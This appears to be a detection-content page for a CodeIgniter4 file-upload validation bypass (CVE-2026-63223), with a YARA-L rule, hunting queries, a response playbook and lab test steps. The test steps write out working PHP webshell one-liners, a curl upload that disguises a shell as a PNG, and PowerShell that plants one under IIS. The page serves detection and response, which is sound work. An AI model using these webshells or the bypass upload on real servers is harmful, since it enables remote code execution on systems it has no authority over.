Detect CVE-2026-63223: CodeIgniter4 File Upload Extension Validation Bypass (is_image / mime_in) in Google Chronicle
Detects exploitation of CVE-2026-63223, a critical (CVSS 9.8, CWE-434) unrestricted file upload vulnerability in the CodeIgniter4 framework (codeigniter4/framework < 4.7.4). The `is_image` and `mime_in` validation rules trust the client-supplied MIME type and file extension rather than authoritatively inspecting file content, allowing an attacker to bypass upload restrictions by crafting a request whose declared Content-Type/extension passes validation while the underlying content is executable (e.g. a PHP webshell disguised as an image). Successful exploitation typically results in webshell deployment and remote code execution. This detection surfaces suspicious uploads reaching CodeIgniter upload endpoints followed by writes of executable script files into web-accessible directories and subsequent execution.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
YARA-L Detection Query
rule codeigniter_upload_bypass_cve_2026_63223 {
meta:
author = "Argus"
description = "CodeIgniter4 is_image/mime_in upload validation bypass leading to PHP webshell drop"
cve = "CVE-2026-63223"
severity = "CRITICAL"
events:
$web.metadata.event_type = "NETWORK_HTTP"
$web.network.http.method = "POST"
re.regex($web.target.url, `.*(upload|import|avatar|attachment).*`)
$web.principal.hostname = $host
$file.metadata.event_type = "FILE_CREATION"
re.regex($file.target.file.full_path, `.*(\/public\/|\/writable\/uploads\/|\/var\/www\/).*\.(php|phtml|phar)$`)
$file.principal.hostname = $host
match:
$host over 5m
condition:
$web and $file
}YARA-L 2.0 rule correlating an upload-endpoint POST with PHP file creation in a web-accessible directory on the same host within 5 minutes.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate PHP deployments to public/writable directories.
- Framework update jobs writing new PHP sources.
- Backup restoration writing PHP files.
Other platforms for CVE-2026-63223
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate is_image MIME bypass upload (Linux lab)
Expected signal: Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.
- Test 2Drop PHP file into public directory (Linux)
Expected signal: FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.
- Test 3Simulate double-extension upload artifact (Windows/IIS lab)
Expected signal: Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.
References (5)
- https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5
- https://nvd.nist.gov/vuln/detail/CVE-2026-63223
- https://github.com/codeigniter4/CodeIgniter4/commit/b6e9a4fa1dca2df3d3f261bdf61532df8c6420aa
- https://github.com/codeigniter4/CodeIgniter4/releases/tag/v4.7.4
- https://github.com/advisories/GHSA-mmj4-63m4-r6h5
Response Playbook
Triage
- Identify the CodeIgniter application version on the affected host; confirm whether codeigniter4/framework is < 4.7.4 and thus vulnerable to CVE-2026-63223.
- Retrieve the raw upload request from web access logs and inspect the declared Content-Type and filename extension versus the actual written file content (magic bytes) to confirm an is_image/mime_in bypass.
- Examine the newly written file in the public/writable directory: check for PHP tags (<?php), eval/system/passthru calls, or webshell signatures.
- Correlate the source IP and User-Agent of the upload with other requests to determine reconnaissance or repeated bypass attempts.
Containment
- Immediately quarantine or delete the confirmed malicious uploaded file and revoke web access to the writable/public upload directory.
- Block the attacker source IP at the WAF/firewall and disable the affected upload endpoint until patched.
- Isolate the web host from the network if webshell execution (RCE) is confirmed.
Evidence Collection
- Preserve the full HTTP upload request/response, web access logs, and the malicious file (with hash) before deletion.
- Capture endpoint file-creation events, process-execution telemetry for the web server user, and any outbound connections initiated post-upload.
Escalation Criteria
- !Escalate to incident response if the dropped file was executed (evidence of RCE, spawned shells, or outbound C2).
- !Escalate if multiple hosts or additional CodeIgniter applications show the same upload-then-PHP-write pattern, indicating a campaign.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Newly created PHP/phtml files in public/ or writable/uploads/ directories with recent timestamps and web-server ownership. - >
Web access log entries showing POST to upload endpoints with mismatched Content-Type vs. actual content. - >
Web server process spawning shell interpreters (sh, bash, cmd.exe) shortly after the upload.
Tuning Guidance
Baseline legitimate PHP writes to public/writable directories by correlating with known deployment windows, CI/CD service accounts, and package-manager processes; exclude those service accounts and maintenance windows. Focus alerting on writes initiated by the web-server process account or immediately following an external upload POST, and raise severity when the written file contains PHP execution constructs.
Hunting Queries
Hunt for PHP script files created in CodeIgniter web-accessible directories, which should rarely change outside of deployments.
DeviceFileEvents | where FolderPath has_any ("/writable/uploads/", "/public/", "wwwroot") | where FileName endswith ".php" or FileName endswith ".phtml" or FileName endswith ".phar" | project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessAccountName | order by TimeGenerated descindex=edr (sourcetype=sysmon EventCode=11) OR sourcetype=linux:auditd (TargetFilename="*/writable/uploads/*" OR TargetFilename="*/public/*") (TargetFilename="*.php" OR TargetFilename="*.phtml") | stats count by host, TargetFilename, UserAtomic Red Team Tests
Uploads a PHP webshell to a CodeIgniter upload endpoint while declaring an image MIME type to bypass is_image/mime_in validation.
Command
printf '<?php echo shell_exec($_GET["c"]); ?>' > /tmp/shell.php && curl -s -X POST -F 'file=@/tmp/shell.php;type=image/png;filename=avatar.png' http://localhost:8080/uploadCleanup
rm -f /tmp/shell.php; rm -f /var/www/html/writable/uploads/avatar.png /var/www/html/public/avatar.phpExpected Telemetry
Web access log POST to /upload with 200/302; file-create event for a .php/.png file in writable/uploads or public directory.
Expected Detection
Detection fires on the correlation of the upload POST and the PHP file write in a web-accessible directory.
Simulates the post-bypass artifact by writing a PHP webshell directly into the CodeIgniter public directory.
Command
mkdir -p /var/www/html/public && printf '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/public/upload_test.phpCleanup
rm -f /var/www/html/public/upload_test.phpExpected Telemetry
FileCreated event for /var/www/html/public/upload_test.php by the web-server or shell user.
Expected Detection
Detection surfaces PHP file creation in a web-accessible directory matching the CVE-2026-63223 artifact pattern.
Writes a PHP file with an image-like double extension into an IIS-hosted CodeIgniter writable uploads path.
Command
New-Item -Path 'C:\inetpub\wwwroot\writable\uploads' -ItemType Directory -Force; Set-Content -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Value '<?php echo shell_exec($_GET["c"]); ?>'Cleanup
Remove-Item -Path 'C:\inetpub\wwwroot\writable\uploads\avatar.php' -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 11 (FileCreate) for avatar.php under the IIS writable uploads directory.
Expected Detection
Detection fires on PHP file creation in a web-accessible directory following the upload pattern.